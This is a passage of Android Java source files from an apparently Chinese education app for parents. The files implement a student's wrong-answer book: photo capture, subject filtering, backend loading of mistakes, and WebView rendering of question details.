9 import android.view.View;
10 import android.view.Window;
11 import android.view.WindowManager;
12 import android.widget.Toast;
13
14 import androidx.annotation.Nullable;
15 import androidx.appcompat.app.AppCompatActivity;
16 import androidx.viewbinding.ViewBinding;
17
18 import com.hjx.parent.dialog.TipDialog;
19 import com.xiasuhuei321.loadingdialog.view.LoadingDialog;
20
21
22 public abstract class BaseActivity<VB extends ViewBinding> extends AppCompatActivity {
23 protected Context context;
24 protected AppCompatActivity activity;
25 protected VB binding;
26 private LoadingDialog dialog;
27 private TipDialog tipDialog;
28
29 @Override
30 protected void onCreate(@Nullable Bundle savedInstanceState) {
31 super.onCreate(savedInstanceState);
32 binding = getViewBinding();
33 setContentView(binding.getRoot());
34 showWhiteStatus();
35 context = this;
36 activity = this;
37 initView(savedInstanceState);
38 }
39
40
41 public void showLoadingDialog(String text) {
42 dialog = new LoadingDialog(this);
43 dialog.setLoadingText(text)
44 .setSuccessText("成功")//显示加载成功时的文字
45 .setFailedText("失败")
46 .setLoadSpeed(SPEED_TWO)
47 .show();
48 }
49
50 public void loadFail(String text) {
51 dialog.setFailedText(text);
52 dialog.loadFailed();
53 }
54
55 public void cancelLoadingDialog() {
56 dialog.loadSuccess();
57 }
58
59 public void showWhiteStatus() {
60 Window window = getWindow();
61 window.clearFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_STATUS);
62 window.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_STABLE | View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY | View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR);
63 window.addFlags(WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS);
64 window.setStatusBarColor(Color.TRANSPARENT);
65 }
66
67
68 protected void hideBottomUIMenu() {
69 Window window = getWindow();
70 window.clearFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_STATUS);
71 window.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN
72 | View.SYSTEM_UI_FLAG_LAYOUT_STABLE | View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY | View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR);
73 window.addFlags(WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS);
74 window.setStatusBarColor(Color.TRANSPARENT);
75 }
76
77 public void showToast(String text) {
78 Toast.makeText(App.getInstance().getApplicationContext(), text, Toast.LENGTH_SHORT).show();
79 }
80
81 public void showTipDialog(String title, String content, String cancel, String confirm, TipDialog.TipDialogInterface tipDialogInterface) {
82 tipDialog = new TipDialog(context, title, content, confirm, cancel, tipDialogInterface);
83 tipDialog.show();
84 }
85
86 public abstract void initView(Bundle savedInstanceState);
87
88 protected abstract VB getViewBinding();
89
90 }
91
app/src/main/java/com/hjx/parent/ErrorBookActivity.java
File was created 1 package com.hjx.parent;
2
3 import android.content.Intent;
4 import android.graphics.Bitmap;
5 import android.graphics.BitmapFactory;
6 import android.net.Uri;
7 import android.os.Bundle;
8 import android.provider.MediaStore;
9 import android.text.TextUtils;
10 import android.util.Log;
11 import android.view.LayoutInflater;
12 import android.view.View;
13 import android.view.ViewGroup;
14 import android.widget.LinearLayout;
15
16 import androidx.annotation.NonNull;
17 import androidx.annotation.Nullable;
18 import androidx.core.content.FileProvider;
19 import androidx.recyclerview.widget.LinearLayoutManager;
20 import androidx.recyclerview.widget.RecyclerView;
21
22 import com.chad.library.adapter.base.BaseQuickAdapter;
23 import com.chad.library.adapter.base.BaseViewHolder;
24 import com.google.gson.Gson;
25 import com.hjx.parent.adapter.ErrorAdapter;
26 import com.hjx.parent.bean.StudentBean;
27 import com.hjx.parent.databinding.ActivityErrorBookBinding;
28 import com.prws.common.base.BasePresenter;
29 import com.prws.common.bean.ImageBean;
30 import com.prws.common.bean.PageInfo;
31 import com.prws.common.bean.ResponseResult;
32 import com.prws.common.bean.TopicBean;
33 import com.prws.common.net.NetWorks;
34 import com.prws.common.utils.BitmapUtils;
35 import com.prws.common.utils.CommonUtil;
36 import com.prws.common.utils.SharedPreferencesUtil;
37 import com.prws.common.utils.dialog.MyButtomDialog;
38 import com.zhangteng.imagepicker.bean.ImageInfo;
39 import com.zhangteng.imagepicker.callback.HandlerCallBack;
40 import com.zhangteng.imagepicker.config.ImagePickerConfig;
41 import com.zhangteng.imagepicker.config.ImagePickerEnum;
42 import com.zhangteng.imagepicker.config.ImagePickerOpen;
43 import com.zhangteng.imagepicker.imageloader.GlideImageLoader;
44 import com.zhangteng.utils.IHandlerCallBack;
45
46 import java.io.File;
47 import java.util.ArrayList;
48 import java.util.Arrays;
49 import java.util.HashMap;
50 import java.util.List;
51 import java.util.Map;
52
53 import io.reactivex.Observer;
54 import io.reactivex.disposables.Disposable;
55
56 public class ErrorBookActivity extends BaseActivity<ActivityErrorBookBinding> {
57 StudentBean studentBean;
58 private int subject;
59 private ErrorAdapter adapter;
60 private int REQUEST_CODE_IMAGE = 123;
61 private String filePath;
62
63 @Override
64 public void initView(Bundle savedInstanceState) {
65 String student = (String) SharedPreferencesUtil.getData("student", "");
66 try {
67 studentBean = new Gson().fromJson(student, StudentBean.class);
68 } catch (Exception e) {
69
70 }
71 binding.ivBack.setOnClickListener(new View.OnClickListener() {
72 @Override
73 public void onClick(View v) {
74 finish();
75 }
76 });
77 binding.rlTakePhoto.post(new Runnable() {
78 @Override
79 public void run() {
80 LinearLayout.LayoutParams layoutParams = (LinearLayout.LayoutParams) binding.rlTakePhoto.getLayoutParams();
81 layoutParams.width = CommonUtil.getScreenWidth(context);
82 layoutParams.height = CommonUtil.getScreenWidth(context) * 20 / 37;
83 binding.rlTakePhoto.setLayoutParams(layoutParams);
84 }
85 });
86 binding.rlTakePhoto.setOnClickListener(new View.OnClickListener() {
87 @Override
88 public void onClick(View v) {
89 MyButtomDialog dialog = new MyButtomDialog(context, R.style.BottomSheetDialog);
90 View bottomView = LayoutInflater.from(context).inflate(R.layout.bottom_sheet_layout, null);
91 dialog.setContentView(bottomView);
92 bottomView.findViewById(R.id.take_photo).setOnClickListener(new View.OnClickListener() {
93 @Override
94 public void onClick(View view) {
95 dialog.dismiss();
96 Intent takePictureIntent = new Intent(MediaStore.ACTION_IMAGE_CAPTURE);
97 //确保有相机来处理Intent
98 filePath = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg";
99 File photoFile = new File(filePath);
100 if (photoFile != null) {
101 //适配Android 7.0文件权限,通过FileProvider创建一个content类型的Uri
102 Uri photoUri = FileProvider.getUriForFile(activity, "com.hjx.parent.fileprovider", photoFile);
103 takePictureIntent.addFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
104 takePictureIntent.putExtra(MediaStore.EXTRA_OUTPUT, photoUri);
105 activity.startActivityForResult(takePictureIntent, REQUEST_CODE_IMAGE);
106 }
107 }
108 });
109 bottomView.findViewById(R.id.choose_photo).setOnClickListener(new View.OnClickListener() {
110 @Override
111 public void onClick(View view) {
112 dialog.dismiss();
113 ImagePickerConfig imagePickerConfig = new ImagePickerConfig.Builder().provider(getPackageName() + ".fileprovider").imageLoader(new GlideImageLoader()) //图片加载器
114 .iHandlerCallBack(new HandlerCallBack()) //图片选择器生命周期监听(直接打开摄像头时无效)
115 .multiSelect(true) //是否多选
116 .isShowCamera(false).isVideoPicker(false) //是否选择视频 默认false
117 .isImagePicker(true).imagePickerType(ImagePickerEnum.PHOTO_PICKER) //选择器打开类型
118 .maxImageSelectable(9) //图片可选择数
119 .maxHeight(1920) //图片最大高度
120 .maxWidth(1920) //图片最大宽度
121 .maxImageSize(10) //图片最大大小Mb
122 .isCrop(false).pathList(new ArrayList<>()).pickerThemeColorRes(R.color.image_picker_white).pickerTitleColorRes(R.color.image_picker_text_black).cropThemeColorRes(R.color.image_picker_white).cropTitleColorRes(R.color.image_picker_text_black).pickerBackRes(R.mipmap.image_picker_back_black).pickerFolderRes(R.mipmap.image_picker_folder_black).build();
123 ImagePickerOpen.getInstance().setImagePickerConfig(imagePickerConfig).pathList(new ArrayList<>()).open(ErrorBookActivity.this);
124
125 }
126 });
127 bottomView.findViewById(R.id.cancel).setOnClickListener(new View.OnClickListener() {
128 @Override
129 public void onClick(View view) {
130 dialog.dismiss();
131 }
132 });
133 dialog.show();
134 }
135 });
136 BaseQuickAdapter adapter = new BaseQuickAdapter(R.layout.item_subject, Arrays.asList(getResources().getStringArray(R.array.filter_subject))) {
137 @Override
138 public void onBindViewHolder(@NonNull RecyclerView.ViewHolder holder, int position) {
139
140 }
141
142 @Override
143 protected void convert(@NonNull BaseViewHolder item, Object o) {
144 item.setText(R.id.tv_subject, getResources().getStringArray(R.array.filter_subject)[item.getAdapterPosition()]);
145 switch (item.getAdapterPosition()) {
146 case 0:
147 item.setImageResource(R.id.iv_subject, R.mipmap.ic_chinese);
148 break;
149 case 1:
150 item.setImageResource(R.id.iv_subject, R.mipmap.ic_math);
151 break;
152 case 2:
153 item.setImageResource(R.id.iv_subject, R.mipmap.ic_english);
154 break;
155 case 3:
156 item.setImageResource(R.id.iv_subject, R.mipmap.ic_physics);
157 break;
158 case 4:
159 item.setImageResource(R.id.iv_subject, R.mipmap.ic_chemistry);
160 break;
161 }
162 ViewGroup.LayoutParams layoutParams = item.getView(R.id.rl_subject).getLayoutParams();
163 layoutParams.width = (CommonUtil.getScreenWidth(context) - CommonUtil.dpToPx(context, 30)) / 4;
164 item.getView(R.id.rl_subject).setLayoutParams(layoutParams);
165 item.getConvertView().setOnClickListener(new View.OnClickListener() {
166 @Override
167 public void onClick(View v) {
168 if (subject != item.getAdapterPosition()) {
169 subject = item.getAdapterPosition();
170 getError(getResources().getStringArray(R.array.filter_subject)[subject]);
171 }
172 }
173 });
174 }
175 };
176 binding.recycleSubject.setLayoutManager(new LinearLayoutManager(context, LinearLayoutManager.HORIZONTAL, false));
177 binding.recycleSubject.setAdapter(adapter);
178 subject = 0;
179 getError(getResources().getStringArray(R.array.filter_subject)[subject]);
180 binding.llAll.setOnClickListener(new View.OnClickListener() {
181 @Override
182 public void onClick(View v) {
183 Intent intent = new Intent(context, ErrorListActivity.class);
184 startActivity(intent);
185 }
186 });
187 }
188
189 @Override
190 protected ActivityErrorBookBinding getViewBinding() {
191 return ActivityErrorBookBinding.inflate(getLayoutInflater());
192 }
193
194 private void getError(String subject) {
195 if (studentBean != null) {
196 Map map = new HashMap();
197 map.put("subject", subject);
198 map.put("stuId", studentBean.getStuId());
199 map.put("pageSize", 5);
200 map.put("pageNum", 1);
201 NetWorks.getError(map, new Observer<ResponseResult<PageInfo<TopicBean>>>() {
202 @Override
203 public void onSubscribe(Disposable d) {
204
205 }
206
207 @Override
208 public void onNext(ResponseResult<PageInfo<TopicBean>> result) {
209 if (result.getData() != null && result.getCode() == 200) {
210 List<TopicBean> topicBeans = result.getData().getList();
211 loadError(topicBeans);
212 }
213 }
214
215 @Override
216 public void onError(Throwable e) {
217 e.toString();
218 }
219
220 @Override
221 public void onComplete() {
222
223 }
224 });
225 }
226 }
227
228 @Override
229 protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
230 super.onActivityResult(requestCode, resultCode, data);
231 if (requestCode == REQUEST_CODE_IMAGE && resultCode == RESULT_OK && !TextUtils.isEmpty(filePath)) {
232 Bitmap b = BitmapUtils.compress(BitmapFactory.decodeFile(filePath));
233 String path = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg";
234 CommonUtil.saveBitmapToUri(b, path);
235 List<String> strings = new ArrayList<>();
236 Intent intent = new Intent(context, ImageActivity.class);
237 strings.add(path);
238 intent.putStringArrayListExtra("images", (ArrayList<String>) strings);
239 startActivity(intent);
240 }
241 }
242
243 private void loadError(List<TopicBean> list) {
244 if (list.size() > 0) {
245 binding.recycleError.setVisibility(View.VISIBLE);
246 binding.llEmpty.setVisibility(View.GONE);
247 if (adapter != null) {
248 adapter.refresh(list);
249 } else {
250 adapter = new ErrorAdapter(context, list, false);
251 binding.recycleError.setLayoutManager(new LinearLayoutManager(context, RecyclerView.VERTICAL, false));
252 binding.recycleError.setAdapter(adapter);
253 }
254 } else {
255 binding.recycleError.setVisibility(View.GONE);
256 binding.llEmpty.setVisibility(View.VISIBLE);
257 }
258 }
259
260 public class HandlerCallBack implements IHandlerCallBack<ImageInfo> {
261 private String TAG = "---ImagePicker---";
262 List<ImageInfo> photoList = new ArrayList<>();
263
264 @Override
265 public void onStart() {
266 Log.i(TAG, "onStart: 开启");
267 }
268
269 @Override
270 public void onSuccess(List<ImageInfo> photoList) {
271 this.photoList = photoList;
272 Log.i(TAG, "onSuccess: 返回数据");
273 }
274
275 @Override
276 public void onCancel() {
277 Log.i(TAG, "onCancel: 取消");
278 }
279
280 @Override
281 public void onFinish(List<ImageInfo> selectImage) {
282 if (selectImage.size() == photoList.size()) {
283 List<String> strings = new ArrayList<>();
284 Intent intent = new Intent(context, ImageActivity.class);
285 for (ImageInfo imageInfo : selectImage) {
286 strings.add(imageInfo.getPath());
287 }
288 intent.putStringArrayListExtra("images", (ArrayList<String>) strings);
289 startActivity(intent);
290 }
291 }
292
293 @Override
294 public void onError() {
295 Log.i(TAG, "onError: 出错");
296 }
297 }
298 }
299
app/src/main/java/com/hjx/parent/ErrorDetailActivity.java
File was created 1 package com.hjx.parent;
2
3 import android.os.Bundle;
4 import android.text.TextUtils;
5 import android.view.View;
6 import android.webkit.WebSettings;
7 import android.widget.AdapterView;
8 import android.widget.RadioButton;
9 import android.widget.RadioGroup;
10
11 import com.bumptech.glide.Glide;
12 import com.hjx.parent.databinding.ActivityErrorDetailBinding;
13 import com.hjx.parent.dialog.ErrorEditDialog;
14 import com.prws.common.bean.ErrorDetailBean;
15 import com.prws.common.bean.ResponseResult;
16 import com.prws.common.bean.TopicBean;
17 import com.prws.common.net.NetWorks;
18 import com.prws.common.utils.CommonUtil;
19 import com.prws.common.utils.StringUtils;
20
21 import java.util.ArrayList;
22 import java.util.HashMap;
23 import java.util.List;
24 import java.util.Map;
25
26 import io.reactivex.Observer;
27 import io.reactivex.disposables.Disposable;
28
29 public class ErrorDetailActivity extends BaseActivity<ActivityErrorDetailBinding> {
30 private TopicBean bean;
31
32 @Override
33 public void initView(Bundle savedInstanceState) {
34 bean = (TopicBean) getIntent().getSerializableExtra("errorBean");
35 loadError();
36 }
37
38 public void loadError() {
39 if (bean.getBean() != null) {
40 ErrorDetailBean errorDetailBean = bean.getBean();
41 if (TextUtils.isEmpty(errorDetailBean.getContent())) {
42 binding.llOrigin.setVisibility(View.GONE);
43 } else {
44 String linkCss = "<link rel=\"stylesheet\" href=\"file:///android_asset/style.css\" type=\"text/css\">";
45 StringBuilder sb = new StringBuilder(4096);
46 if (!TextUtils.isEmpty(errorDetailBean.getLabel())) {
47 sb.append(errorDetailBean.getLabel());
48 }
49 sb.append(errorDetailBean.getContent());
50 if (errorDetailBean.getOptions() != null && errorDetailBean.getOptions().size() > 0) {
51 sb.append("<div class='pt1'>");
52 sb.append(StringUtils.OptionsHtml(errorDetailBean.getOptions(), null));
53 sb.append("</div>");
54 }
55 String body = "<html><header>" + linkCss + "</header>" + sb.toString() + "</body></html>";
56 binding.webContent.loadDataWithBaseURL(linkCss, body, "text/html", "UTF-8", null);
57 binding.webContent.setVisibility(View.VISIBLE);
58 binding.llOrigin.setVisibility(View.VISIBLE);
59 }
60 if (TextUtils.isEmpty(errorDetailBean.getMethod())) {
61 binding.llAnalyse.setVisibility(View.GONE);
62 } else {
63 binding.llAnalyse.setVisibility(View.VISIBLE);
64 String linkCss = "<link rel=\"stylesheet\" href=\"file:///android_asset/style.css\" type=\"text/css\">";
65 String body = "<html><header>" + linkCss + "</header>" + errorDetailBean.getMethod() + "</body></html>";
66 binding.webAnalyse.loadDataWithBaseURL(linkCss, body, "text/html", "UTF-8", null);
67 }
68 if (TextUtils.isEmpty(errorDetailBean.getDisplayAnswer())) {
69 binding.llAnswer.setVisibility(View.GONE);
70 } else {
71 binding.llAnswer.setVisibility(View.VISIBLE);
72 String linkCss = "<link rel=\"stylesheet\" href=\"file:///android_asset/style.css\" type=\"text/css\">";
73 String body = "<html><header>" + linkCss + "</header>" + errorDetailBean.getDisplayAnswer() + "</body></html>";
74 binding.webAnswer.loadDataWithBaseURL(linkCss, body, "text/html", "UTF-8", null);
75 }
76 if (errorDetailBean.getPoints().size() > 0) {
77 List<String> points = new ArrayList<>();
78 String topic = "";
79 for (int j = 0; j < errorDetailBean.getPoints().size(); j++) {
80 if (j > 0) {
81 topic += "、";
82 }
83 topic += errorDetailBean.getPoints().get(j).getValue();
84 points.add(errorDetailBean.getPoints().get(j).getKey());
85 }
86 binding.llPoints.setVisibility(View.VISIBLE);
87 binding.tvPoints.setText(topic);
88 } else {
89 binding.llPoints.setVisibility(View.GONE);
90 }
91 } else {
92 binding.llAnalyse.setVisibility(View.GONE);
93 binding.llAnswer.setVisibility(View.GONE);
94 binding.llOrigin.setVisibility(View.GONE);
95 binding.llPoints.setVisibility(View.GONE);
96 }
97 if (TextUtils.isEmpty(bean.getPath())) {
98 binding.llPic.setVisibility(View.GONE);
99 } else {
100 Glide.with(context).load(bean.getPath()).override(CommonUtil.getScreenWidth(context) - CommonUtil.dpToPx(context, 40), CommonUtil.dpToPx(context, 90)).fitCenter().into(binding.ivTopic);
101 }
102 binding.tvTitle.setText(bean.getName());
103 RadioButton typeButton = (RadioButton) binding.typeRadio.getChildAt(bean.getIsDone());
104 typeButton.setChecked(true);
105 binding.typeRadio.setOnCheckedChangeListener(new RadioGroup.OnCheckedChangeListener() {
106 @Override
107 public void onCheckedChanged(RadioGroup group, int checkedId) {
108 saveError();
109 }
110 });
111 binding.spinnerReason.setSelection(bean.getReason());
112 binding.spinnerReason.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() {
113 @Override
114 public void onItemSelected(AdapterView<?> parent, View view, int position, long id) {
115 saveError();
116 }
117
118 @Override
119 public void onNothingSelected(AdapterView<?> parent) {
120
121 }
122 });
123 binding.ivBack.setOnClickListener(new View.OnClickListener() {
124 @Override
125 public void onClick(View v) {
126 finish();
127 }
128 });
129 binding.ivEdit.setOnClickListener(new View.OnClickListener() {
130 @Override
131 public void onClick(View v) {
132 List<TopicBean> topicBeans = new ArrayList<>();
133 topicBeans.add(bean);
134 ErrorEditDialog errorEditDialog = new ErrorEditDialog(context, topicBeans, new ErrorEditDialog.EditInterface() {
135 @Override
136 public void edit(String name, int reason) {
137 binding.tvTitle.setText(name);
138 binding.spinnerReason.setSelection(reason);
139 }
140 });
141 errorEditDialog.show();
142 }
143 });
144 }
145
146 public void saveError() {
147 int done = 0;
148 for (int i = 0; i < binding.typeRadio.getChildCount(); i++) {
149 RadioButton rb = (RadioButton) binding.typeRadio.getChildAt(i);
150 if (rb.isChecked()) {
151 done = i;
152 }
153 }
154 bean.setDone(done == 1);
155 Map<String, Object> map = new HashMap<>();
156 map.put("bookId", bean.getId());
157 map.put("controlFlag", done == 1 ? 0 : 1);
158 map.put("errorReason", binding.spinnerReason.getSelectedItemPosition());
159 NetWorks.editError(map, new Observer<ResponseResult>() {
160 @Override
161 public void onSubscribe(Disposable d) {
162
163 }
164
165 @Override
166 public void onNext(ResponseResult responseResult) {
167
168 }
169
170 @Override
171 public void onError(Throwable e) {
172
173 }
174
175 @Override
176 public void onComplete() {
177
178 }
179 });
180 }
181
182 @Override
183 protected ActivityErrorDetailBinding getViewBinding() {
184 return ActivityErrorDetailBinding.inflate(getLayoutInflater());
185 }
186 }
187
app/src/main/java/com/hjx/parent/ErrorListActivity.java
File was created 1 package com.hjx.parent;
2
3 import android.app.Dialog;
4 import android.content.DialogInterface;
5 import android.content.Intent;
6 import android.graphics.Bitmap;
7 import android.graphics.BitmapFactory;
8 import android.graphics.Color;
9 import android.graphics.drawable.Drawable;
10 import android.net.Uri;
11 import android.os.Bundle;
12 import android.provider.MediaStore;
13 import android.text.TextUtils;
14 import android.util.Log;
15 import android.view.KeyEvent;
16 import android.view.LayoutInflater;
17 import android.view.View;
18 import android.widget.CompoundButton;
19 import android.widget.RadioButton;
20 import android.widget.RadioGroup;
21 import android.widget.TextView;
22
23 import androidx.annotation.Nullable;
24 import androidx.core.content.FileProvider;
25 import androidx.recyclerview.widget.GridLayoutManager;
26 import androidx.recyclerview.widget.LinearLayoutManager;
27 import androidx.recyclerview.widget.RecyclerView;
28
29 import com.google.gson.Gson;
30 import com.hjx.parent.adapter.ErrorAdapter;
31 import com.hjx.parent.adapter.FilterAdapter;
32 import com.hjx.parent.adapter.LoadMoreOnScrollListener;
33 import com.hjx.parent.bean.StudentBean;
34 import com.hjx.parent.databinding.ActivityErrorListBinding;
35 import com.hjx.parent.dialog.ErrorEditDialog;
36 import com.hjx.parent.dialog.TipDialog;
37 import com.prws.common.bean.GradeAndSubject;
38 import com.prws.common.bean.PageInfo;
39 import com.prws.common.bean.ResponseResult;
40 import com.prws.common.bean.Subject;
41 import com.prws.common.bean.TopicBean;
42 import com.prws.common.net.NetWorks;
43 import com.prws.common.utils.BitmapUtils;
44 import com.prws.common.utils.CommonUtil;
45 import com.prws.common.utils.SharedPreferencesUtil;
46 import com.prws.common.utils.dialog.MyButtomDialog;
47 import com.zhangteng.imagepicker.bean.ImageInfo;
48 import com.zhangteng.imagepicker.config.ImagePickerConfig;
49 import com.zhangteng.imagepicker.config.ImagePickerEnum;
50 import com.zhangteng.imagepicker.config.ImagePickerOpen;
51 import com.zhangteng.imagepicker.imageloader.GlideImageLoader;
52 import com.zhangteng.utils.IHandlerCallBack;
53
54 import java.io.File;
55 import java.util.ArrayList;
56 import java.util.HashMap;
57 import java.util.List;
58 import java.util.Map;
59
60 import io.reactivex.Observer;
61 import io.reactivex.disposables.Disposable;
62
63 public class ErrorListActivity extends BaseActivity<ActivityErrorListBinding> implements View.OnClickListener {
64 private TextView last;
65 private String subject;
66 private String grade;
67 private String manger;
68 private String type = "全部";
69 private String time = "全部";
70 private FilterAdapter filterAdapter;
71 StudentBean studentBean;
72 private int page = 1;
73 private ErrorAdapter adapter;
74 private int total;
75 private int REQUEST_CODE_IMAGE = 123;
76 private String filePath;
77
78 @Override
79 public void initView(Bundle savedInstanceState) {
80 String student = (String) SharedPreferencesUtil.getData("student", "");
81 try {
82 studentBean = new Gson().fromJson(student, StudentBean.class);
83 } catch (Exception e) {
84
85 }
86 binding.ivBack.setOnClickListener(this);
87 binding.tvFilterGrade.setOnClickListener(this);
88 binding.tvFilterSubject.setOnClickListener(this);
89 binding.tvFilterMore.setOnClickListener(this);
90 binding.tvFilterManage.setOnClickListener(this);
91 binding.tvEdit.setOnClickListener(this);
92 binding.tvAdd.setOnClickListener(this);
93 binding.llDelete.setOnClickListener(this);
94 binding.tvSave.setOnClickListener(this);
95 binding.checkbox.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() {
96 @Override
97 public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
98 adapter.checkAll(isChecked);
99 }
100 });
101 RadioButton timeButton = (RadioButton) binding.groupTime.getChildAt(3);
102 timeButton.setChecked(true);
103 binding.groupTime.setOnCheckedChangeListener(new RadioGroup.OnCheckedChangeListener() {
104 @Override
105 public void onCheckedChanged(RadioGroup group, int checkedId) {
106 RadioButton rcheck = (RadioButton) findViewById(checkedId);
107 time = rcheck.getText().toString();
108 refreshError();
109 }
110 });
111
112 RadioButton typeButton = (RadioButton) binding.groupType.getChildAt(2);
113 typeButton.setChecked(true);
114 binding.groupType.setOnCheckedChangeListener(new RadioGroup.OnCheckedChangeListener() {
115 @Override
116 public void onCheckedChanged(RadioGroup group, int checkedId) {
117 RadioButton rcheck = (RadioButton) findViewById(checkedId);
118 type = rcheck.getText().toString();
119 refreshError();
120 }
121 });
122 refreshError();
123 }
124
125 @Override
126 protected ActivityErrorListBinding getViewBinding() {
127 return ActivityErrorListBinding.inflate(getLayoutInflater());
128 }
129
130 @Override
131 public void onClick(View v) {
132 switch (v.getId()) {
133 case R.id.iv_back:
134 finish();
135 break;
136 case R.id.tv_filter_grade:
137 List<String> grades = new ArrayList<>();
138 for (GradeAndSubject gradeAndSubject : App.getInstance().getGradeAndSubjects()) {
139 grades.add(gradeAndSubject.getGrade().getGrade());
140 }
141 grades.add("全部");
142 setFilterAdapter(grades, binding.tvFilterGrade, grade);
143 break;
144 case R.id.tv_filter_subject:
145 List<String> subjects = new ArrayList<>();
146 for (GradeAndSubject gradeAndSubject : App.getInstance().getGradeAndSubjects()) {
147 for (Subject subject : gradeAndSubject.getSubjects()) {
148 if (!subjects.contains(subject.getSubject())) {
149 subjects.add(subject.getSubject());
150 }
151 }
152 }
153 subjects.add("全部");
154 setFilterAdapter(subjects, binding.tvFilterSubject, subject);
155 break;
156 case R.id.tv_filter_manage:
157 List<String> manages = new ArrayList<>();
158 manages.add("已掌握");
159 manages.add("未掌握");
160 manages.add("全部");
161 setFilterAdapter(manages, binding.tvFilterManage, manger);
162 break;
163 case R.id.tv_filter_more:
164 showFilterMore();
165 break;
166 case R.id.tv_edit:
167 if (adapter.edit) {
168 adapter.setEdit(false);
169 binding.tvSave.setVisibility(View.GONE);
170 binding.tvAdd.setVisibility(View.VISIBLE);
171 binding.checkbox.setVisibility(View.GONE);
172 binding.llDelete.setVisibility(View.GONE);
173 binding.ivBack.setVisibility(View.VISIBLE);
174 binding.tvEdit.setText("编辑");
175 } else {
176 adapter.setEdit(true);
177 binding.tvSave.setVisibility(View.VISIBLE);
178 binding.tvAdd.setVisibility(View.GONE);
179 binding.llDelete.setVisibility(View.VISIBLE);
180 binding.checkbox.setVisibility(View.VISIBLE);
181 binding.ivBack.setVisibility(View.GONE);
182 binding.tvEdit.setText("取消");
183 }
184 adapter.notifyDataSetChanged();
185 break;
186 case R.id.ll_delete:
187 showTipDialog("温馨提示", "确认删除已勾选的错题?", "取消", "确认", new TipDialog.TipDialogInterface() {
188 @Override
189 public void onConfirm(Dialog dialog) {
190 deleteError(adapter.getChecKList());
191 dialog.dismiss();
192 }
193
194 @Override
195 public void onCancel(Dialog dialog) {
196 dialog.dismiss();
197 }
198 });
199 break;
200 case R.id.tv_add:
201 MyButtomDialog dialog = new MyButtomDialog(context, R.style.BottomSheetDialog);
202 View bottomView = LayoutInflater.from(context).inflate(R.layout.bottom_sheet_layout, null);
203 dialog.setContentView(bottomView);
204 bottomView.findViewById(R.id.take_photo).setOnClickListener(new View.OnClickListener() {
205 @Override
206 public void onClick(View view) {
207 dialog.dismiss();
208 Intent takePictureIntent = new Intent(MediaStore.ACTION_IMAGE_CAPTURE);
209 //确保有相机来处理Intent
210 filePath = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg";
211 File photoFile = new File(filePath);
212 if (photoFile != null) {
213 //适配Android 7.0文件权限,通过FileProvider创建一个content类型的Uri
214 Uri photoUri = FileProvider.getUriForFile(activity, "com.hjx.parent.fileprovider", photoFile);
215 takePictureIntent.addFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
216 takePictureIntent.putExtra(MediaStore.EXTRA_OUTPUT, photoUri);
217 activity.startActivityForResult(takePictureIntent, REQUEST_CODE_IMAGE);
218 }
219 }
220 });
221 bottomView.findViewById(R.id.choose_photo).setOnClickListener(new View.OnClickListener() {
222 @Override
223 public void onClick(View view) {
224 dialog.dismiss();
225 ImagePickerConfig imagePickerConfig = new ImagePickerConfig.Builder().provider(getPackageName() + ".fileprovider").imageLoader(new GlideImageLoader()) //图片加载器
226 .iHandlerCallBack(new HandlerCallBack()) //图片选择器生命周期监听(直接打开摄像头时无效)
227 .multiSelect(true) //是否多选
228 .isShowCamera(false).isVideoPicker(false) //是否选择视频 默认false
229 .isImagePicker(true).imagePickerType(ImagePickerEnum.PHOTO_PICKER) //选择器打开类型
230 .maxImageSelectable(9) //图片可选择数
231 .maxHeight(1920) //图片最大高度
232 .maxWidth(1920) //图片最大宽度
233 .maxImageSize(10) //图片最大大小Mb
234 .isCrop(false).pathList(new ArrayList<>()).pickerThemeColorRes(R.color.image_picker_white).pickerTitleColorRes(R.color.image_picker_text_black).cropThemeColorRes(R.color.image_picker_white).cropTitleColorRes(R.color.image_picker_text_black).pickerBackRes(R.mipmap.image_picker_back_black).pickerFolderRes(R.mipmap.image_picker_folder_black).build();
235 ImagePickerOpen.getInstance().setImagePickerConfig(imagePickerConfig).pathList(new ArrayList<>()).open(ErrorListActivity.this);
236
237 }
238 });
239 bottomView.findViewById(R.id.cancel).setOnClickListener(new View.OnClickListener() {
240 @Override
241 public void onClick(View view) {
242 dialog.dismiss();
243 }
244 });
245 dialog.show();
246 break;
247 case R.id.tv_save:
248 if (adapter.getChecKList().size() > 0) {
249 ErrorEditDialog errorEditDialog = new ErrorEditDialog(context, adapter.getChecKList(), new ErrorEditDialog.EditInterface() {
250 @Override
251 public void edit(String s, int i) {
252 adapter.setEdit(false);
253 binding.tvSave.setVisibility(View.GONE);
254 binding.tvAdd.setVisibility(View.VISIBLE);
255 binding.checkbox.setVisibility(View.GONE);
256 binding.llDelete.setVisibility(View.GONE);
257 binding.ivBack.setVisibility(View.VISIBLE);
258 binding.tvEdit.setText("编辑");
259 page = 1;
260 refreshError();
261 }
262 });
263 errorEditDialog.show();
264 }
265 break;
266 }
267 }
268
269 private void deleteError(List<TopicBean> topicBeans) {
270 List<String> list = new ArrayList<>();
271 for (int i = 0; i < topicBeans.size(); i++) {
272 list.add(topicBeans.get(i).getId());
273 }
